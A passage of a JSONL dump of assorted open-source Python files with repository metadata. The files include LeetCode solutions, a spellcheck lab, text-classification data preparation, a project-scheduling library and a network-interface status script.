changed.\n\n# Example:\n# title_case('a clash of KINGS', 'a an the of') # should return: 'A Clash of Kings'\n# title_case('THE WIND IN THE WILLOWS', 'The In') # should return: 'The Wind in the Willows'\n# title_case('the quick brown fox') # should return: 'The Quick Brown Fox'\n# ```","repo_name":"shubham25namdeo/Leetcode","sub_path":"codewars/title-case.py","file_name":"title-case.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"33096406289","text":"#coding=utf-8\n\nimport sys\nimport re\nimport pandas as pd\nimport os\n\nlists = []\ncount = 0\nwith open('./dict_out.txt', 'r') as f:\n for line in f.readlines():\n line = line.strip('\\n')\n lists.append(line)\nwith open('./dict_out_count.txt', 'a+') as f1:\n with open('./c_500_out.txt', 'r') as f2:\n for line in f2.readlines():\n line = line.strip('\\n')\n line = line.split('\\t')\n if line[0] not in lists:\n f1.write(line[0]+'\\n')\n count+=1\nprint(count)\n# with open('./dict_in.txt','r') as f:\n# for line in f.readlines():\n# line = line.strip('\\n')\n# print(line[:-4])\n# count += 1\n# if count==4:\n# break\n #lists.append(line)\n#\n# fore = \"./\"\n# for way in lists:\n# path = fore+way\n# if os.path.exists(path):\n# os.remove(path)\n","repo_name":"hsbEdin/ASR_mixed","sub_path":"s5/local/real_data/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"37541652876","text":"#\n# @lc app=leetcode.cn id=407 lang=python3\n#\n# [407] 接雨水 II\n#\n# https://leetcode-cn.com/problems/trapping-rain-water-ii/description/\n#\n# algorithms\n# Hard (39.80%)\n# Likes: 187\n# Dislikes: 0\n# Total Accepted: 3.7K\n# Total Submissions: 9.3K\n# Testcase Example: '[[1,4,3,1,3,2],[3,2,1,3,2,4],[2,3,3,2,3,1]]'\n#\n# 给你一个 m x n 的矩阵,其中的值均为非负整数,代表二维高度图每个单元的高度,请计算图中形状最多能接多少体积的雨水。\n# \n# \n# \n# 示例:\n# \n# 给出如下 3x6 的高度图:\n# [\n# ⁠ [1,4,3,1,3,2],\n# ⁠ [3,2,1,3,2,4],\n# ⁠ [2,3,3,2,3,1]\n# ]\n# \n# 返回 4 。\n# \n# \n# \n# \n# 如上图所示,这是下雨前的高度图[[1,4,3,1,3,2],[3,2,1,3,2,4],[2,3,3,2,3,1]] 的状态。\n# \n# \n# \n# \n# \n# 下雨后,雨水将会被存储在这些方块中。总的接雨水量是4。\n# \n# \n# \n# 提示:\n# \n# \n# 1 <= m, n <= 110\n# 0 <= heightMap[i][j] <= 20000\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def trapRainWater(self, heightMap: List[List[int]]) -> int:\n M, N = len(heightMap), len(heightMap[0])\n heap = []\n visited = set()\n for i in [0, M-1]:\n for j in range(N):\n heap.append((heightMap[i][j], i, j))\n visited.add((i, j))\n for j in [0, N-1]:\n for i in range(M):\n heap.append((heightMap[i][j], i, j))\n visited.add((i, j))\n \n dxy = [[-1,0], [0,-1], [1,0], [0,1]]\n heapq.heapify(heap)\n res = 0\n while heap:\n h, x, y = heapq.heappop(heap)\n for dx,dy in dxy:\n nx, ny = x+dx, y+dy\n if not (0 <= nx < M and 0 <= ny < N):\n continue\n if (nx, ny) in visited:\n continue\n if h > heightMap[nx][ny]:\n res += h-heightMap[nx][ny]\n heapq.heappush(heap, (max(h, heightMap[nx][ny]), nx, ny))\n visited.add((nx, ny))\n return res\n# @lc code=end\n\n","repo_name":"targeton/LeetCode-cn","sub_path":"Solutions/407.接雨水-ii.py","file_name":"407.接雨水-ii.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6335533017","text":"'''\nComplete the chapter lab at https://docs.google.com/document/d/1KjrNiE3mUbaeyTPpaTesAlnVYkp0KkkM-17oOKqscjw/edit?usp=sharing\n'''\n\n# Successful linear spellcheck (10pts)\n# Successful binary spellcheck (10pts)\n# Binary and linear are written as functions (5pts)\n\nimport re\n\n\ndef split_line(line):\n # This function takes in a line of text and returns\n # a list of words in the line.\n return re.findall('[A-Za-z]+(?:\\'[A-Za-z]+)?', line)\n\n\nwith open('./dictionary.txt', 'r') as f:\n dict = [x.strip().upper() for x in f]\n\n\ndef linearSearch():\n print(\"--- Linear Search ---\")\n\n file = open('./AliceInWonderLand200.txt', 'r')\n\n for line in file:\n words = (split_line(line))\n\n for i in range(len(words)):\n word = words[i].upper()\n j = 0\n while j < len(dict) and word != dict[j]:\n j += 1\n if j >= len(dict):\n print(word)\n\n file.close()\ndef binarySearch():\n print(\"--- Binary Search ---\")\n\n file = open('./AliceInWonderLand200.txt', 'r')\n\n for line in file:\n words = (split_line(line))\n\n for i in range(len(words)):\n word = words[i].upper()\n found = False\n lower_bound = 0\n upper_bound = len(dict)\n while lower_bound <= upper_bound and not found:\n middle_pos = (upper_bound + lower_bound) // 2\n if dict[middle_pos] < word:\n lower_bound = middle_pos + 1\n elif dict[middle_pos] > word:\n upper_bound = middle_pos - 1\n else:\n found = True\n if not found:\n print(word)\n\nlinearSearch()\nbinarySearch()\n\n# Challenge: Find all words that occur in Alice through the looking glass that do NOT occur in Wonderland.\n","repo_name":"Shinyobject123/Cowabunga","sub_path":"Labs/Alice Spellcheck/ch15Lab.py","file_name":"ch15Lab.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"399267920","text":"from blog.models import BlogAuthorProfile, BlogPost\nfrom simple.models import SimpleAdminProfile, SimpleObject\n\n\ndef test_owner_alias(django_user_model):\n user = django_user_model.objects.create()\n profile = BlogAuthorProfile.objects.create(user=user)\n post = BlogPost.objects.create(name=\"Name\", owner=profile)\n assert post.owner == post.author\n\n\ndef test_owner_alias_none(django_user_model):\n user = django_user_model.objects.create()\n profile = SimpleAdminProfile.objects.create(user=user)\n post = SimpleObject.objects.create(name=\"Name\", owner=profile)\n assert post.owner\n","repo_name":"kaoslabsinc/django-iam","sub_path":"tests/test_factories.py","file_name":"test_factories.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"74546693690","text":"import numpy as np\nimport string, json, sys, os\nimport matplotlib.pyplot as plt\n\nfrom sklearn.datasets import fetch_20newsgroups\nfrom nltk.corpus import reuters \n\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.corpus import stopwords\nfrom sklearn.model_selection import train_test_split\n\nnltk_stopw = stopwords.words('english')\n\nuse_seq_length = 1000000000\n\ndef tokenize (text): # no punctuation & starts with a letter & between 2-15 characters in length\n tokens = [word.strip(string.punctuation) for word in RegexpTokenizer(r'\\b[a-zA-Z][a-zA-Z0-9]{2,14}\\b').tokenize(text)]\n return [f.lower() for f in tokens if f]\n\ndef get20News():\n twenty_news = fetch_20newsgroups(subset='all', remove=('headers', 'footers', 'quotes'), shuffle=True, random_state=42)\n docs, labels, labelIndexToLabelName, allWords, docLengthCounts, catCounts, max_sequence_length = [], [], {}, set(), [], {}, 0\n for i, article in enumerate(twenty_news['data']):\n tokens = tokenize (article)\n docLength = len(tokens)\n if (docLength > 0):\n docLengthCounts.append(docLength)\n max_sequence_length = max(max_sequence_length, docLength)\n if (docLength > use_seq_length):\n doc = tokens[0:use_seq_length]\n else:\n doc = tokens.copy()\n\n docs.append(doc)\n label = [0]*20\n groupIndex = twenty_news['target'][i]\n groupName = twenty_news['target_names'][groupIndex]\n label[groupIndex] = 1\n if groupName in catCounts:\n catCounts[groupName] = catCounts[groupName] + 1\n else:\n catCounts[groupName] = 1\n allWords.update(set(doc))\n labels.append(label)\n labelIndexToLabelName[groupIndex] = groupName\n\n if (len(catCounts) != 20):\n print('Error...')\n sys.exit()\n plotFig('20news', catCounts, docLengthCounts)\n\n labelIndexToLabelNameSortedByIndex = sorted(labelIndexToLabelName.items(), key=lambda kv: kv[0]) # List of tuples sorted by the label number [ (0, ''), (1, ''), .. ]\n labelNamesInIndexOrder = [item[1] for item in labelIndexToLabelNameSortedByIndex]\n labelName2LabelIndex = {v:int(k) for k, v in labelIndexToLabelName.items()}\n train_docs, test_docs, train_labels, test_labels = train_test_split(docs, labels, test_size=0.20, random_state=1)\n\n printStats (len(labelNamesInIndexOrder), labelNamesInIndexOrder, labelName2LabelIndex, catCounts, train_docs, train_labels, test_docs, test_labels, docLengthCounts,max_sequence_length, len(allWords))\n\n result = {'train_docs': train_docs, 'train_labels' : train_labels, 'test_docs': test_docs, 'test_labels' : test_labels, 'labelNames' : labelNamesInIndexOrder, 'max_seq_length' : use_seq_length, 'labelName2LabelIndex' : labelName2LabelIndex, 'catCounts' : catCounts}\n\n f = open ('data/20news.json','w')\n out = json.dumps(result, ensure_ascii=True)\n f.write(out)\n f.close()\n\ndef getMovies():\n docs, labels, label, allWords, docLengthCounts, max_sequence_length, nCats = {}, {}, {}, set(), [], 0, 2\n labelIndexToLabelName = {0 : 'neg', 1 : 'pos'}\n labelIndexToLabelNameSortedByIndex = [(0, 'neg'), (1, 'pos')]\n catCounts = {'neg' : 0, 'pos' : 0}\n label['neg'] = [1, 0]\n label['pos'] = [0, 1]\n for dataset in ['train', 'test']:\n docs[dataset], labels[dataset] = [], []\n for directory in ['neg', 'pos']:\n dirName = './data/aclImdb/' + dataset + \"/\" + directory\n for reviewFile in os.listdir(dirName):\n catCounts[directory] = catCounts[directory] + 1\n with open (dirName + '/' + reviewFile, 'r') as f:\n article = f.read()\n tokens = tokenize (article)\n docLength = len(tokens)\n if (docLength > 0):\n docLengthCounts.append(docLength)\n max_sequence_length = max(max_sequence_length, docLength)\n if (docLength > use_seq_length):\n doc = tokens[0:use_seq_length]\n else:\n doc = tokens.copy()\n allWords.update(set(doc))\n docs[dataset].append(doc)\n labels[dataset].append(label[directory])\n plotFig('movies', catCounts, docLengthCounts)\n\n labelNamesInIndexOrder = [item[1] for item in labelIndexToLabelNameSortedByIndex]\n labelName2LabelIndex = {v:int(k) for k, v in labelIndexToLabelName.items()}\n\n printStats (nCats, labelNamesInIndexOrder, labelName2LabelIndex, catCounts, docs['train'], labels['train'], docs['test'], labels['test'], docLengthCounts, max_sequence_length, len(allWords))\n\n result = {'train_docs': docs['train'], 'train_labels' : labels['train'], 'test_docs': docs['test'], 'test_labels' : labels['test'], 'labelNames' : labelNamesInIndexOrder, 'max_seq_length' : use_seq_length, 'labelName2LabelIndex' : labelName2LabelIndex, 'catCounts' : catCounts}\n\n f = open ('data/movies.json','w')\n out = json.dumps(result, ensure_ascii=True)\n f.write(out)\n f.close()\n plotFig('movies', catCounts, docLengthCounts)\n\ndef getReuters():\n train_docs, train_labels, test_docs, test_labels, allWords, docLengthCounts, max_sequence_length = [], [], [], [], set(), [], 0\n labelNamesInIndexOrder = reuters.categories()\n labelNamesInIndexOrder.sort()\n nCats = len(labelNamesInIndexOrder)\n labelName2LabelIndex = dict(zip(labelNamesInIndexOrder,range(0,nCats)))\n for doc_id in reuters.fileids():\n doc0 = tokenize(reuters.raw(doc_id))\n docLength = len(doc0)\n max_sequence_length = max(max_sequence_length, docLength)\n docLengthCounts.append(docLength)\n\n if (docLength > use_seq_length):\n doc = doc0[0:use_seq_length]\n else:\n doc = doc0.copy()\n\n allWords.update(set(doc))\n cats = reuters.categories(doc_id)\n labels = np.zeros(nCats, dtype='int')\n for cat in cats:\n labels[labelName2LabelIndex[cat]] = 1\n if doc_id.startswith(\"train\"):\t\t\n train_docs.append(doc)\n train_labels.append(labels.tolist())\n else:\n test_docs.append(doc)\n test_labels.append(labels.tolist())\n\n catCounts = {}\n for cat in labelNamesInIndexOrder:\n catCounts[cat] = len(reuters.fileids(cat))\n\n printStats (nCats, labelNamesInIndexOrder, labelName2LabelIndex, catCounts, train_docs, train_labels, test_docs, test_labels, docLengthCounts, max_sequence_length, len(allWords))\n\n result = {'train_docs': train_docs, 'train_labels' : train_labels, 'test_docs': test_docs, 'test_labels' : test_labels, 'labelNames' : labelNamesInIndexOrder, 'max_seq_length' : use_seq_length, 'labelName2LabelIndex' : labelName2LabelIndex, 'catCounts' : catCounts}\n\n f = open ('data/reuters.json','w')\n out = json.dumps(result, ensure_ascii=True)\n f.write(out)\n f.close()\n plotFig('reuters', catCounts, docLengthCounts)\n\ndef printStats(nCats, allCats, labelName2LabelIndex, catCounts, train_docs, train_labels, test_docs, test_labels, docLengthCounts, max_sequence_length, vocab_size):\n print ('# All Docs:', len(docLengthCounts))\n print ('# Cats:', nCats)\n print ('Categories:', allCats)\n print ('labelName2LabelIndex:', labelName2LabelIndex)\n print ('catCounts:', catCounts)\n print ('Used Docs/Labels & Train Docs/Labels & Test Docs/Labels:', len(train_docs)+len(test_docs), '/', len(train_labels)+len(test_labels), len(train_docs),'/',len(train_labels), len(test_docs),'/',len(test_labels))\n print ('# docs <= 510 tokens:',len([i for i in docLengthCounts if i <= 510]))\n print ('# docs <= 500 tokens:',len([i for i in docLengthCounts if i <= 500]))\n print ('# docs <= 400 tokens:',len([i for i in docLengthCounts if i <= 400]))\n print ('# docs <= 300 tokens:',len([i for i in docLengthCounts if i <= 300]))\n print ('# docs <= 200 tokens:',len([i for i in docLengthCounts if i <= 200]))\n print ('# docs <= 175 tokens:',len([i for i in docLengthCounts if i <= 175]))\n print ('# docs <= 100 tokens:',len([i for i in docLengthCounts if i <= 100]))\n print ('max_sequence_length:', max_sequence_length)\n print ('Vocab Size:', vocab_size)\n\ndef plotFig (filename, catCounts, docLengthCounts):\n fig, ax = plt.subplots()\n yVals = list(catCounts.values())\n xVals = range(0,len(yVals))\n plt.bar(xVals, yVals)\n plt.tight_layout()\n fig.savefig('data/' + filename + '-catCounts.png', format='png', dpi=720)\n plt.close(fig)\n fig, ax = plt.subplots(tight_layout=True)\n ax.hist(docLengthCounts, range=[0, 250], bins=50)\n fig.savefig('data/' + filename + '-docLengths.png', format='png', dpi=720)\n plt.close(fig)\n\nprint ('\\nWorking on movies data...\\n')\ngetMovies()\n\nprint ('\\nWorking on reuters data...\\n')\ngetReuters()\n\nprint ('\\nWorking on 20news data...\\n')\nget20News()\n\n","repo_name":"ashokc/BoW-vs-BERT-Classification","sub_path":"getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":9007,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"27783529856","text":"import logging as _logging\n\n# noqa idiom\nif True:\n logger = _logging.getLogger(__name__)\n logger.addHandler(_logging.NullHandler())\n\n\ndef f():\n logger.debug(\"debug\")\n logger.info(\"info\")\n logger.warning(\"warning\")\n logger.error(\"error\")\n","repo_name":"kenoss/test-python-logger-best-practice","sub_path":"foo-lib/foo_lib/x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4489060598","text":"import dataclasses\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\nfrom typing import List, Set, Callable\n\nfrom pjplan import Task, WBS, IResource, Resource\nfrom pjplan.utils import TextTable, GREEN, YELLOW, GREY, RED\n\n\ndef _validate_graph_isolation(project: WBS):\n all_tasks = {task.id: task for task in project.tasks}\n\n for t in all_tasks.values():\n for pr in t.predecessors:\n if pr.id not in all_tasks and (not pr.start or not pr.end):\n raise RuntimeError(\n \"Task {t.id} ({t.name}) has predecessor {pr.id} ({pr.name}) w/o dates and outside wbs\"\n )\n\n\ndef _check_loops(project: WBS):\n validated = set()\n for t in project.tasks:\n _check_loops_from_task(t, set(), validated)\n\n\ndef _check_loops_from_task(task: Task, visited_tasks: Set[int], validated: Set[int]):\n if task.id in validated:\n return\n\n if task.id in visited_tasks:\n raise RuntimeError(\n \"Found circle\",\n [str(t) + \"-->\" for t in visited_tasks] + [str(task.id) + \":\" + task.name]\n )\n\n visited_tasks.add(task.id)\n\n for s in task.predecessors:\n _check_loops_from_task(s, visited_tasks, validated)\n\n visited_tasks.remove(task.id)\n validated.add(task.id)\n\n\n@dataclass(frozen=True)\nclass ResourceUsageRow:\n \"\"\"Row at resource usage report\"\"\"\n resource: IResource\n \"\"\"Resource\"\"\"\n date: datetime\n \"\"\"Date\"\"\"\n task: Task\n \"\"\"Task\"\"\"\n units: float\n \"\"\"Units of resource reserved for this resource, task and date\"\"\"\n\n\nclass ResourceUsageReport:\n \"\"\"Resource usage report\"\"\"\n\n def __init__(self, rows: List[ResourceUsageRow]):\n self.__rows = rows\n\n def rows(self, _filter: Callable[[ResourceUsageRow], bool] = None) -> List[ResourceUsageRow]:\n return [dataclasses.replace(r)\n for r in self.__rows\n if _filter is None or _filter(r)]\n\n def reserved(self, resource: IResource, date: datetime) -> float:\n units = [item.units\n for item in self.__rows\n if item.resource == resource and item.date == date]\n\n return sum(units, 0)\n\n def __repr__(self):\n if len(self.__rows) == 0:\n return \"Empty\"\n\n dates = [item.date for item in self.__rows]\n min_date = min(dates)\n max_date = max(dates)\n\n resources = set([item.resource for item in self.__rows])\n\n table = TextTable()\n table.new_row()\n table.new_cell('DATE', RED)\n for k in resources:\n name = k.name if k.name is not None else 'none'\n table.new_cell(name.upper(), RED)\n\n d = min_date\n while d <= max_date:\n table.new_row()\n table.new_cell(d.strftime('%y-%m-%d'))\n for k in resources:\n val = self.reserved(k, d)\n if val == 0:\n color = GREY\n elif val == k.get_available_units(d):\n color = GREEN\n else:\n color = YELLOW\n table.new_cell(f\"{val:.1f}\", color)\n d += timedelta(days=1)\n\n return table.text_repr(True)\n\n\nclass _ResourceUsage:\n\n def __init__(self):\n self.rows: List[ResourceUsageRow] = []\n\n @staticmethod\n def __get_key(date: datetime):\n return datetime(date.year, date.month, date.day, 0, 0, 0, 0)\n\n def reserve(self, resource: IResource, date: datetime, task: Task, units: float) -> float:\n self.rows.append(ResourceUsageRow(resource, self.__get_key(date), task, units))\n return units\n\n def reserved(self, resource: IResource, date: datetime, task: Task = None) -> float:\n if task is None:\n units = [item.units\n for item in self.rows\n if item.resource == resource and item.date == self.__get_key(date)]\n else:\n units = [item.units\n for item in self.rows\n if item.resource == resource and item.date == self.__get_key(date) and item.task == task]\n\n return sum(units, 0)\n\n\n@dataclass(frozen=True)\nclass Schedule:\n \"\"\"WBS schedule result\"\"\"\n schedule: WBS\n \"\"\"Clone of original WBS with calculated start and end dates on each task\"\"\"\n resources: List[IResource]\n \"\"\"List of resources\"\"\"\n resource_usage: ResourceUsageReport\n \"\"\"Resource usage report\"\"\"\n\n\nclass IScheduler(ABC):\n \"\"\"WBS schedule calculator\"\"\"\n\n @abstractmethod\n def calc(self, wbs: WBS) -> Schedule:\n \"\"\"\n Calculate WBS schedule\n :param wbs: Work burndown structure\n :return: WBS schedule\n \"\"\"\n pass\n\n\nclass ForwardScheduler(IScheduler):\n \"\"\"Forward WBS scheduler\"\"\"\n\n def __init__(\n self,\n start: datetime = None,\n resources: List[IResource] = None,\n balance_resources: bool = True,\n default_estimate: int = 0\n ):\n self.__start = start if start is not None else datetime.now()\n self.__resources = {} if resources is None else {r.name: r for r in resources}\n self.__balance_resources = balance_resources\n self.__default_estimate = default_estimate\n\n def __get_resource_nearest_available_date(\n self,\n resource: IResource,\n resource_usage: _ResourceUsage,\n start_date: datetime,\n task: Task,\n max_steps: int = 1000\n ) -> datetime:\n d = resource.get_nearest_availability_date(start_date, 1)\n\n for i in range(0, max_steps):\n reserved = resource_usage.reserved(resource, d) if self.__balance_resources \\\n else resource_usage.reserved(resource, d, task)\n\n available = resource.get_available_units(d) - reserved\n if available > 0:\n percent = 1 - available / resource.get_available_units(d)\n d = datetime(d.year, d.month, d.day, 0, 0, 0, 0) + timedelta(hours=24 * percent)\n return d\n d += timedelta(days=1)\n\n raise RuntimeError(\n \"Can't find nearest availability time for resource\", resource.name,\n \"after\", start_date.strftime('%Y-%m-%d')\n )\n\n def __shift_by_resource_usage_and_calendar(\n self,\n resource: IResource,\n resource_usage: _ResourceUsage,\n start_date: datetime,\n task: Task,\n left_hours: float,\n max_steps: int = 1000\n ) -> datetime:\n if left_hours == 0:\n return start_date\n\n date = datetime(start_date.year, start_date.month, start_date.day, 0, 0, 0, 0) - timedelta(days=1)\n\n days = 0\n while left_hours > 0:\n date += timedelta(days=1)\n reserved = resource_usage.reserved(resource, date) if self.__balance_resources \\\n else resource_usage.reserved(resource, date, task)\n\n max_available = resource.get_available_units(date) - reserved\n if max_available > 0:\n left_hours -= resource_usage.reserve(resource, date, task, min(left_hours, max_available))\n days += 1\n\n if days > max_steps:\n raise RuntimeError(\"Can't calculate\")\n\n reserved = resource_usage.reserved(resource, date)\n percent = reserved / resource.get_available_units(date)\n return date + timedelta(hours=24 * percent)\n\n def __forward_pass(\n self,\n _task: Task,\n min_date: datetime,\n resource_usage: _ResourceUsage,\n calculated: List[int]\n ):\n if _task.id in calculated:\n return\n\n for pred in _task.predecessors:\n self.__forward_pass(pred, min_date, resource_usage, calculated)\n\n max_predecessor_ends = max([t.end for t in _task.predecessors if t.end is not None] + [min_date])\n\n for ch in _task.children:\n self.__forward_pass(ch, max_predecessor_ends, resource_usage, calculated)\n\n resource = self.__resources.setdefault(_task.resource, Resource(_task.resource))\n\n is_leaf = len(_task.children) == 0\n\n if _task.milestone:\n _task.start = _task.end = max_predecessor_ends\n _task.estimate = 0\n _task.spent = 0\n else:\n if _task.start is None:\n if is_leaf:\n _task.start = max(max_predecessor_ends, datetime.now())\n _task.start = self.__get_resource_nearest_available_date(\n resource, resource_usage, _task.start, _task\n )\n else:\n children_starts = [t.start for t in _task.children if t.start is not None]\n if len(children_starts) == 0:\n children_starts = [datetime(1970, 1, 1)]\n _task.start = max(min(children_starts), min_date)\n\n if _task.estimate is None:\n if is_leaf:\n _task.estimate = self.__default_estimate\n else:\n _task.estimate = sum([ch.estimate for ch in _task.children])\n\n if _task.spent is None:\n if is_leaf:\n _task.spent = 0\n else:\n _task.spent = sum([ch.spent for ch in _task.children])\n\n if _task.end is None:\n if is_leaf:\n left_hours = max(_task.estimate - _task.spent, 0)\n start = max(_task.start, datetime.now())\n _task.end = max(\n self.__shift_by_resource_usage_and_calendar(\n resource, resource_usage, start, _task, left_hours\n ),\n datetime.now()\n )\n else:\n _task.end = max([t.end for t in _task.children if t.end is not None])\n\n calculated.append(_task.id)\n\n def calc(self, wbs: WBS) -> Schedule:\n _validate_graph_isolation(wbs)\n _check_loops(wbs)\n self.__check_no_end_dates_in_future(wbs)\n\n forward = wbs.clone()\n self.__prepare_tasks(forward)\n\n forward_resource_usage = _ResourceUsage()\n calculated = []\n for t in forward.roots:\n self.__forward_pass(t, self.__start, forward_resource_usage, calculated)\n\n return Schedule(\n forward,\n list(self.__resources.values()),\n ResourceUsageReport(forward_resource_usage.rows)\n )\n\n @staticmethod\n def __check_no_end_dates_in_future(project: WBS):\n now = datetime.now()\n for t in project.tasks:\n if t.end is not None and t.end > now:\n raise RuntimeError(f\"Task {t.id} has end date in future. Can't schedule this task.\")\n\n @staticmethod\n def __prepare_tasks(project: WBS):\n for t in project.tasks:\n if len(t.children) > 0:\n t.start = t.end = t.estimate = t.spent = None\n\n\nclass BackwardScheduler(IScheduler):\n def __init__(\n self,\n end: datetime = None,\n resources: List[IResource] = None,\n balance_resources: bool = True,\n default_estimate: int = 0\n ):\n self.__end = end if end is not None else datetime.now()\n self.__resources = {} if resources is None else {r.name: r for r in resources}\n self.__balance_resources = balance_resources\n self.__default_estimate = default_estimate\n\n def __get_resource_nearest_available_date(\n self,\n resource: IResource,\n resource_usage: _ResourceUsage,\n start_date: datetime,\n task: Task,\n max_steps: int = 1000\n ) -> datetime:\n d = resource.get_nearest_availability_date(start_date, -1) - timedelta(days=1)\n\n for i in range(0, max_steps):\n reserved = resource_usage.reserved(resource, d) if self.__balance_resources \\\n else resource_usage.reserved(resource, d, task)\n\n available = resource.get_available_units(d) - reserved\n if available > 0:\n percent = 1 - available / resource.get_available_units(d)\n d = datetime(d.year, d.month, d.day, 0, 0, 0, 0) - timedelta(hours=24 * percent)\n return d\n d += timedelta(days=-1)\n\n raise RuntimeError(\n \"Can't find nearest availability time for resource\", resource.name,\n \"after\", start_date.strftime('%Y-%m-%d')\n )\n\n def __shift_by_resource_usage_and_calendar(\n self,\n resource: IResource,\n resource_usage: _ResourceUsage,\n start_date: datetime,\n task: Task,\n left_hours: float,\n max_steps: int = 1000\n ) -> datetime:\n if left_hours == 0:\n return start_date\n\n date = datetime(start_date.year, start_date.month, start_date.day, 0, 0, 0, 0)\n\n days = 0\n while left_hours > 0:\n date += timedelta(days=-1)\n reserved = resource_usage.reserved(resource, date) if self.__balance_resources \\\n else resource_usage.reserved(resource, date, task)\n\n max_available = resource.get_available_units(date) - reserved\n if max_available > 0:\n left_hours -= resource_usage.reserve(resource, date, task, min(left_hours, max_available))\n days += 1\n\n if days > max_steps:\n raise RuntimeError(\"Can't calculate\")\n\n reserved = resource_usage.reserved(resource, date)\n percent = reserved / resource.get_available_units(date)\n\n return date + timedelta(days=1) - timedelta(hours=24 * percent)\n\n def __backward_pass(\n self,\n _task: Task,\n min_date: datetime,\n resource_usage: _ResourceUsage,\n calculated: List[int]\n ):\n if _task.id in calculated:\n return\n\n for pred in _task.successors:\n self.__backward_pass(pred, min_date, resource_usage, calculated)\n\n min_successor_starts = min([t.start for t in _task.successors if t.start is not None] + [min_date])\n\n for ch in reversed(_task.children):\n self.__backward_pass(ch, min_successor_starts, resource_usage, calculated)\n\n resource = self.__resources.setdefault(_task.resource, Resource(_task.resource))\n\n is_leaf = len(_task.children) == 0\n\n if _task.milestone:\n _task.start = _task.end = min_successor_starts\n _task.estimate = 0\n _task.spent = 0\n else:\n if _task.end is None:\n if is_leaf:\n _task.end = min_successor_starts\n _task.end = self.__get_resource_nearest_available_date(resource, resource_usage, _task.end, _task)\n _task.end += timedelta(days=1)\n else:\n children_ends = [t.end for t in _task.children if t.end is not None]\n if len(children_ends) == 0:\n _task.end = min_date\n else:\n _task.end = min(max(children_ends), min_date)\n\n if _task.estimate is None:\n if is_leaf:\n _task.estimate = self.__default_estimate\n else:\n _task.estimate = sum([ch.estimate for ch in _task.children])\n\n if _task.spent is None:\n if is_leaf:\n _task.spent = 0\n else:\n _task.spent = sum([ch.spent for ch in _task.children])\n\n if is_leaf:\n left_hours = max(_task.estimate - _task.spent, 0)\n end = min(_task.end, min_date)\n start = self.__shift_by_resource_usage_and_calendar(\n resource, resource_usage, end, _task, left_hours\n )\n if _task.start is not None:\n start = min(_task.start, start)\n _task.start = start\n else:\n _task.start = min([t.start for t in _task.children if t.start is not None])\n\n calculated.append(_task.id)\n\n @staticmethod\n def __prepare_tasks(project: WBS):\n for t in project.tasks:\n if len(t.children) > 0:\n t.start = t.end = t.estimate = t.spent = None\n\n def calc(self, project: WBS) -> Schedule:\n _validate_graph_isolation(project)\n _check_loops(project)\n\n backward = project.clone()\n self.__prepare_tasks(backward)\n\n backward_resource_usage = _ResourceUsage()\n backward_roots = backward.roots\n\n calculated = []\n for i in range(len(backward_roots) - 1, -1, -1):\n self.__backward_pass(backward_roots[i], self.__end, backward_resource_usage, calculated)\n\n return Schedule(\n backward,\n list(self.__resources.values()),\n ResourceUsageReport(backward_resource_usage.rows)\n )\n","repo_name":"artem-snopkov/pjplan","sub_path":"src/pjplan/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":17127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28479212211","text":"def sunday(S, T):\n ls, lt = len(S), len(T)\n d = 0\n #记录下标\n while d <= ls - lt and T in S:\n #保证T有成为S子串的前提下并且循环\n if S[d:d+lt] == T:\n #如果符合,返回下标\n return d\n else:\n p = T.rfind(S[d+lt])\n #返回字符串最后一次出现的位置,如果没有匹配项则返回-1\n if p == -1:\n #没有匹配,跳子串长度个距离\n d += lt + 1\n else:\n #有匹配,对齐查看是否全部匹配\n d += lt - p\n return False\n\n\nprint(sunday('abcabeabd', 'abd'))\n","repo_name":"gschen/where2go-python-test","sub_path":"1906101001周茂林/第17周/字符串匹配.py","file_name":"字符串匹配.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"71050182652","text":"#! /usr/bin/python\n#\n#\n\nimport subprocess\ndebug=False\n#debug=True\n# ------------------------------------------------------------------------\ndef getStatusInterfaces():\n# ------------------------------------------------------------------------\n\tif debug: print(\"[debug] Search for ALL Network Interfaces\")\n\toutputByte = subprocess.check_output('ip link', shell=True)\n\toutputString = outputByte.decode()\n\n\tipLinkString=outputString.split('\\n')\n\t##if debug: print(ipLinkString)\n\tipInterfaces = []\n\tfor i in range(len(ipLinkString)):\n\t\tipLinkString[i]=ipLinkString[i].split()\n\t\tif ( len(ipLinkString[i]) > 8 and \n ( ipLinkString[i][8] == 'UP' or\n ipLinkString[i][8] == 'DOWN')):\n\t\t\tif debug: print(ipLinkString[i])\n\t\t\t##return(ipLinkString[i][1].replace(':',''))\n\t\t\t##return(ipLinkString[i][1][0:-1])\n\t\t\tipInterfaces.append([ipLinkString[i][1][0:-1],ipLinkString[i][8]])\n\n\t# If we reach here, we have gone through all interfaces\n\treturn(ipInterfaces)\n\n# ------------------------------------------------------------------------\n# MAIN\n# ------------------------------------------------------------------------\n#interfaceName = getActiveInterface()\n#if interfaceName:\n#\tprint(\".. InterfaceName UP =\", interfaceName)\n#else:\n#\tprint(\".. No Active Interface found\")\n# 